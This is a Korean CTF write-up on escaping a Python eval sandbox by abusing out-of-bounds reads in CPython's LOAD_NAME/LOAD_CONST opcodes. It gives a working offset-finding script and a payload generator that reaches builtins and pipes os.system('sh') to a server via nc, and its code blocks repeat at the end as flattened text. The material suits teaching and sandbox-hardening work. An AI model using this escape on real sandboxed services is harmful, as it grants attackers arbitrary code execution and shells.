LOAD_NAME / LOAD_CONST opcode OOB Read

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이 정보는 이 글에서 가져온 것입니다.

TL;DR

LOAD_NAME / LOAD_CONST opcode의 OOB read 기능을 사용하여 메모리에서 일부 기호를 가져올 수 있습니다. 이는 (a, b, c, ... 수백 개의 기호 ..., __getattribute__) if [] else [].__getattribute__(...)와 같은 트릭을 사용하여 원하는 기호(예: 함수 이름)를 가져오는 것을 의미합니다.

그런 다음 익스플로잇을 작성하세요.

개요

소스 코드는 매우 짧고, 단 4줄만 포함되어 있습니다!

source = input('>>> ')
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
print(eval(code, {'__builtins__': {}}))1234

임의의 Python 코드를 입력할 수 있으며, 이는 Python 코드 객체로 컴파일됩니다. 그러나 해당 코드 객체의 co_consts와 co_names는 그 코드 객체를 eval하기 전에 빈 튜플로 대체됩니다.

따라서 이 방법으로 모든 표현식이 const(예: 숫자, 문자열 등) 또는 이름(예: 변수, 함수)을 포함하면 결국 세그멘테이션 오류를 일으킬 수 있습니다.

Out of Bound Read

세그멘테이션 오류는 어떻게 발생하나요?

간단한 예로 시작해 보겠습니다. [a, b, c]는 다음 바이트코드로 컴파일될 수 있습니다.

1           0 LOAD_NAME                0 (a)
2 LOAD_NAME                1 (b)
4 LOAD_NAME                2 (c)
6 BUILD_LIST               3
8 RETURN_VALUE12345

하지만 co_names가 빈 튜플이 된다면 어떻게 될까요? LOAD_NAME 2 opcode는 여전히 실행되며, 원래 읽어야 할 메모리 주소에서 값을 읽으려고 시도합니다. 네, 이것은 경계 초과 읽기 "기능"입니다.

해결책의 핵심 개념은 간단합니다. CPython의 일부 opcode, 예를 들어 LOAD_NAME과 LOAD_CONST는 OOB 읽기에 취약합니다(?).

이들은 consts 또는 names 튜플에서 oparg 인덱스의 객체를 검색합니다(그것이 내부적으로 co_consts와 co_names라고 불리는 것입니다). CPython이 LOAD_CONST opcode를 처리할 때 어떤 일을 하는지 보기 위해 LOAD_CONST에 대한 다음 짧은 코드 조각을 참조할 수 있습니다.

case TARGET(LOAD_CONST): {
PREDICTED(LOAD_CONST);
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}1234567

이 방법으로 우리는 OOB 기능을 사용하여 임의의 메모리 오프셋에서 "name"을 가져올 수 있습니다. 어떤 이름이 있는지와 그 오프셋이 무엇인지 확인하려면 LOAD_NAME 0, LOAD_NAME 1 ... LOAD_NAME 99 ...를 계속 시도해 보세요. 약 oparg > 700에서 무언가를 찾을 수 있습니다. 물론 gdb를 사용하여 메모리 레이아웃을 살펴볼 수도 있지만, 그렇게 하는 것이 더 쉬울 것 같지는 않습니다.

Exploit 생성

유용한 이름 / const의 오프셋을 가져온 후, 그 오프셋에서 이름 / const를 어떻게 가져오고 사용할 수 있을까요? 여기에 대한 요령이 있습니다: 우리가 co_names=()에서 오프셋 5(LOAD_NAME 5)의 __getattribute__ 이름을 가져올 수 있다고 가정해 보겠습니다. 그러면 다음 작업을 수행하세요:

[a,b,c,d,e,__getattribute__] if [] else [
[].__getattribute__
# you can get the __getattribute__ method of list object now!
]1234

__getattribute__라고 이름을 붙일 필요는 없으며, 더 짧거나 이상한 이름으로 붙일 수 있습니다.

바이트코드를 보기만 하면 그 이유를 이해할 수 있습니다:

0 BUILD_LIST               0
2 POP_JUMP_IF_FALSE       20
>>    4 LOAD_NAME                0 (a)
>>    6 LOAD_NAME                1 (b)
>>    8 LOAD_NAME                2 (c)
>>   10 LOAD_NAME                3 (d)
>>   12 LOAD_NAME                4 (e)
>>   14 LOAD_NAME                5 (__getattribute__)
16 BUILD_LIST               6
18 RETURN_VALUE
20 BUILD_LIST               0
>>   22 LOAD_ATTR                5 (__getattribute__)
24 BUILD_LIST               1
26 RETURN_VALUE1234567891011121314

LOAD_ATTR는 co_names에서 이름을 검색한다는 점에 유의하세요. Python은 이름이 동일할 경우 동일한 오프셋에서 이름을 로드하므로 두 번째 __getattribute__는 여전히 offset=5에서 로드됩니다. 이 기능을 사용하면 이름이 근처 메모리에 있을 때 임의의 이름을 사용할 수 있습니다.

숫자를 생성하는 것은 사소해야 합니다:

0: not [[]]
1: not []
2: (not []) + (not [])
...

Exploit Script

길이 제한으로 인해 consts를 사용하지 않았습니다.

먼저, 이름의 오프셋을 찾기 위한 스크립트입니다.

from types import CodeType
from opcode import opmap
from sys import argv


class MockBuiltins(dict):
def __getitem__(self, k):
if type(k) == str:
return k


if __name__ == '__main__':
n = int(argv[1])

code = [
*([opmap['EXTENDED_ARG'], n // 256]
if n // 256 != 0 else []),
opmap['LOAD_NAME'], n % 256,
opmap['RETURN_VALUE'], 0
]

c = CodeType(
0, 0, 0, 0, 0, 0,
bytes(code),
(), (), (), '<sandbox>', '<eval>', 0, b'', ()
)

ret = eval(c, {'__builtins__': MockBuiltins()})
if ret:
print(f'{n}: {ret}')

# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132

그리고 다음은 실제 Python 익스플로잇을 생성하기 위한 것입니다.

import sys
import unicodedata


class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'

# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'


_ = Generator()

names = []
chr_code = 0
for x in range(4700):
while True:
chr_code += 1
char = unicodedata.normalize('NFKC', chr(chr_code))
if char.isidentifier() and char not in names:
names.append(char)
break

offsets = {
"__delitem__": 2800,
"__getattribute__": 2850,
'__dir__': 4693,
'__repr__': 2128,
}

variables = ('keys', 'keys2', 'None_', 'NoneType',
'm_repr', 'globals', 'builtins',)

for name, offset in offsets.items():
names[offset] = name

for i, var in enumerate(variables):
assert var not in offsets
names[792 + i] = var


source = f'''[
({",".join(names)}) if [] else [],
None_ := [[]].__delitem__({_(0)}),
keys := None_.__dir__(),
NoneType := None_.__getattribute__({_.__class__}),
keys2 := NoneType.__dir__(NoneType),
get := NoneType.__getattribute__,
m_repr := get(
get(get([],{_.__class__}),{_.__base__}),
{_.__subclasses__}
)()[-{_(2)}].__repr__,
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
builtins := globals[[*globals][{_(7)}]],
builtins[[*builtins][{_(19)}]](
builtins[[*builtins][{_(28)}]](), builtins
)
]'''.strip().replace('\n', '').replace(' ', '')

print(f"{len(source) = }", file=sys.stderr)
print(source)

# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273

기본적으로 다음과 같은 작업을 수행합니다. 해당 문자열은 __dir__ 메서드에서 가져옵니다:

getattr = (None).__getattribute__('__class__').__getattribute__
builtins = getattr(
getattr(
getattr(
[].__getattribute__('__class__'),
'__base__'),
'__subclasses__'
)()[-2],
'__repr__').__getattribute__('__globals__')['builtins']
builtins['eval'](builtins['input']())

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PreviousBypass Python sandboxes NextClass Pollution (Python's Prototype Pollution)

Last updated 1 day ago

0 BUILD_LIST 0 2 POP_JUMP_IF_FALSE 20 >> 4 LOAD_NAME 0 (a) >> 6 LOAD_NAME 1 (b) >> 8 LOAD_NAME 2 (c) >> 10 LOAD_NAME 3 (d) >> 12 LOAD_NAME 4 (e) >> 14 LOAD_NAME 5 (__getattribute__) 16 BUILD_LIST 6 18 RETURN_VALUE 20 BUILD_LIST 0 >> 22 LOAD_ATTR 5 (__getattribute__) 24 BUILD_LIST 1 26 RETURN_VALUE1234567891011121314

from types import CodeType from opcode import opmap from sys import argv class MockBuiltins(dict): def __getitem__(self, k): if type(k) == str: return k if __name__ == '__main__': n = int(argv[1]) code = [ *([opmap['EXTENDED_ARG'], n // 256] if n // 256 != 0 else []), opmap['LOAD_NAME'], n % 256, opmap['RETURN_VALUE'], 0 ] c = CodeType( 0, 0, 0, 0, 0, 0, bytes(code), (), (), (), '<sandbox>', '<eval>', 0, b'', () ) ret = eval(c, {'__builtins__': MockBuiltins()}) if ret: print(f'{n}: {ret}') # for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132

import sys import unicodedata class Generator: # get numner def __call__(self, num): if num == 0: return '(not[[]])' return '(' + ('(not[])+' * num)[:-1] + ')' # get string def __getattribute__(self, name): try: offset = None.__dir__().index(name) return f'keys[{self(offset)}]' except ValueError: offset = None.__class__.__dir__(None.__class__).index(name) return f'keys2[{self(offset)}]' _ = Generator() names = [] chr_code = 0 for x in range(4700): while True: chr_code += 1 char = unicodedata.normalize('NFKC', chr(chr_code)) if char.isidentifier() and char not in names: names.append(char) break offsets = { "__delitem__": 2800, "__getattribute__": 2850, '__dir__': 4693, '__repr__': 2128, } variables = ('keys', 'keys2', 'None_', 'NoneType', 'm_repr', 'globals', 'builtins',) for name, offset in offsets.items(): names[offset] = name for i, var in enumerate(variables): assert var not in offsets names[792 + i] = var source = f'''[ ({",".join(names)}) if [] else [], None_ := [[]].__delitem__({_(0)}), keys := None_.__dir__(), NoneType := None_.__getattribute__({_.__class__}), keys2 := NoneType.__dir__(NoneType), get := NoneType.__getattribute__, m_repr := get( get(get([],{_.__class__}),{_.__base__}), {_.__subclasses__} )()[-{_(2)}].__repr__, globals := get(m_repr, m_repr.__dir__()[{_(6)}]), builtins := globals[[*globals][{_(7)}]], builtins[[*builtins][{_(19)}]]( builtins[[*builtins][{_(28)}]](), builtins ) ]'''.strip().replace('\n', '').replace(' ', '') print(f"{len(source) = }", file=sys.stderr) print(source) # (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273

getattr = (None).__getattribute__('__class__').__getattribute__ builtins = getattr( getattr( getattr( [].__getattribute__('__class__'), '__base__'), '__subclasses__' )()[-2], '__repr__').__getattribute__('__globals__')['builtins'] builtins['eval'](builtins['input']())